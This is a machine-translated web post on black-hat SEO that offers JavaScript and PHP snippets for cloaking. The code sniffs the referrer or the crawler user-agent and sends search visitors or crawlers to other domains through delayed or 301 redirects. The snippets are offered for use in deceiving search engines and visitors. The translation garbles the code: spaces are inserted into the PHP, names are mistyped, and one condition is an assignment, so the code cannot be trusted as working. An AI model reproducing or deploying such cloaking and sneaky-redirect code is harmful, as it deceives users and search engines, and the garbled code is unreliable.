Determine the jump code (js and php) of the spider Code Black Hat Based on the user-agent, and the user-agentjs

Determine the jump code (js and php) of the spider Code Black Hat Based on the user-agent, and the user-agentjs

One of the techniques used by everyone in the black hat seo method is to judge the user-agent of the client browser on the server side and then perform further operations,

Someone has been using this code on the Internet for a long time. First, a js code is used to determine the visitor's path. If it is a search engine, the Code jumps. If it is a direct access, the Code remains unchanged. It has been found online for a long time. thanks to the original author

<script language="javascript">var pattern = /google/gi;var pattern1= /yahoo/gi;var keyValue=escape(document.referrer);if (pattern.exec(keyValue))setTimeout("windows.location='http://www.bkjia.com'",10*1000);else if(pattern1.exec(keyValue))setTimeout("window.location='http://www.bkjia.com'",10*1000);</script>

If it is a user-agent of the search engine, this method is used to redirect 301 to many spoofing links on the Internet (the code will be placed at the end)

There are still a lot of specific ideas, jump, Joe pages, etc. Today, only the code is put out of the php code

The declaration code is written by Baidu first.
Based on php's $ _ SERVER ['HTTP _ USER_AGENT '],

<? Php $ tmp = $ _ SERVER ['HTTP _ USER_AGENT ']; if (strpos ($ tmp, 'googlebot ')! = False) {echo 'Google ';} else if (strpos ($ tmp, 'baidider ider')> 0) {echo 'Baidu ';} else if (strpos ($ tmp, 'yahoo! Slurp ')! = False) {echo 'yahoo ';} else if (strpos ($ tmp, 'msnbot ')! = False) {echo 'msn ';} else if (strpos ($ tmp, 'sosospider ')! = False) {echo 'search';} else if (strpos ($ tmp, 'yodaobot ')! = False | strpos ($ tmp, 'outfoxbot ')! = False) {echo 'youdao ';} else if (strpos ($ tmp, 'sogou web spider ')! = False | strpos ($ tmp, 'sogou Orion spider ')! = False) {echo 'sogou ';} else if (strpos ($ tmp, 'fast-webcrawler ')! = False) {echo 'alltheweb';} else if (strpos ($ tmp, 'gaisbot ')! = False) {echo 'gais ';} else if (strpos ($ tmp, 'ia _ archiver ')! = False) {echo 'Alexa';} else if (strpos ($ tmp, 'altavista ')! = False) {echo 'altavista';} else if (strpos ($ tmp, 'lycos _ spider ')! = False) {echo 'lycos ';} else if (strpos ($ tmp, 'inktomi slurp ')! = False) {echo 'inktomi';}?>

Section 2 with jump

<? Php $ flag = false; $ tmp = $ _ SERVER ['HTTP _ USER_AGENT ']; if (strpos ($ tmp, 'googlebot ')! = False) {$ flag = true;} else if (strpos ($ tmp, 'baidider ider ')> 0) {$ flag = true ;} else if (strpos ($ tmp, 'yahoo! Slurp ')! = False) {$ flag = true;} else if (strpos ($ tmp, 'msnbot ')! = False) {$ flag = true;} else if (strpos ($ tmp, 'sosospider ')! = False) {$ flag = true;} else if (strpos ($ tmp, 'yodaobot ')! = False | strpos ($ tmp, 'outfoxbot ')! = False) {$ flag = true;} else if (strpos ($ tmp, 'sogou web spider ')! = False | strpos ($ tmp, 'sogou Orion spider ')! = False) {$ flag = true;} else if (strpos ($ tmp, 'fast-webcrawler ')! = False) {$ flag = true;} else if (strpos ($ tmp, 'gaisbot ')! = False) {$ flag = true;} else if (strpos ($ tmp, 'ia _ archiver ')! = False) {$ flag = true;} else if (strpos ($ tmp, 'altavista ')! = False) {$ flag = true;} else if (strpos ($ tmp, 'lycos _ spider ')! = False) {$ flag = true;} else if (strpos ($ tmp, 'inktomi slurp ')! = False) {$ flag = true;} if ($ flag = false) {header ("Location: http://www.bkjia.com ". $ _ SERVER ['request _ URI ']); // automatically go to the page corresponding to the http://www.bkjia.com // $ _ SERVER ['request _ URI '] For the path behind the domain name // or change to header ("Location: http://www.bkjia.com/abc/d.php "); exit () ;}?>

The third code is redirected to the last 301 after judgment.

if (preg_match(“#(google|slurp@inktomi|yahoo! slurp|msnbot)#si”, $_SERVER['HTTP_USER_AGENT'])) { header(“HTTP/1.1 301 Moved Permanently”);header(“Location: http://www.saoyu.com/”);exit; }}

Black Hat methods are risky and please use them with caution. If you are looking for a backdoor.